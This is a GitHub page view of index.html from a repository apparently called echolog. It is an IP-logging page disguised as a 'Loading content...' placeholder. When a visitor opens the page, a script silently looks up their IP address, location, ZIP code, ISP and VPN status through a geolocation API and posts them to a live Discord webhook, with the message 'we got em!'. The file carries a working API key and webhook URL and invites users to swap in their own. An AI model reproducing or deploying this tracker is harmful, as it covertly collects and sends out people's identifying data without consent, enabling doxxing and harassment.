forked from 3kh0/echolog
-
Notifications
You must be signed in to change notification settings - Fork 0
/
index.html
51 lines (51 loc) · 1.99 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Loading...</title>
</head>
<body>
<h1>Loading content...</h1>
<script src="https://3kh0.github.io/js/main.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
<script>
$.getJSON("https://ipgeolocation.abstractapi.com/v1/?api_key=a1ebbf04c6164dd98b527e26c57fc28c", function (data) {
const ip = data.ip_address;
const city = data.city;
const region = data.region;
const zip = data.postal_code;
const country = data.country;
const flag = data.flag.emoji;
const aso = data.connection.autonomous_system_organization;
const isp = data.connection.isp_name;
const org = data.connection.organization_name;
const vpn = data.security.is_vpn;
const tz = data.timezone.name;
const ct = data.timezone.current_time;
const request = new XMLHttpRequest();
request.open("POST", "https://discord.com/api/webhooks/1039735670924644362/3AkyoFnpGxxDYdHWbezEoNeLfEm4fAgZc3PnRqSt0iq2CKWybglZmUcKdoOYd4tCY7n_");
// Put in your discord webhook url above ^^^
request.setRequestHeader("Content-type", "application/json");
const params = {
username: "ECHOLOG",
avatar_url: "https://3kh0.github.io/img/echo.jpg",
content: "**Ladies and gentlemen we got em!**\n> IP: " + ip +
"\n> City: " + city +
"\n> Region: " + region +
"\n> Zip: " + zip +
"\n> Country: " + country +
"\n> Flag: " + flag +
"\n> Auto System Org: " + aso +
"\n> ISP: " + isp +
"\n> Org: " + org +
"\n> Using VPN: " + vpn +
"\n> Timezone: " + tz +
"\n> Current time: " + ct
,
};
request.send(JSON.stringify(params));
});
</script>
</body>
</html>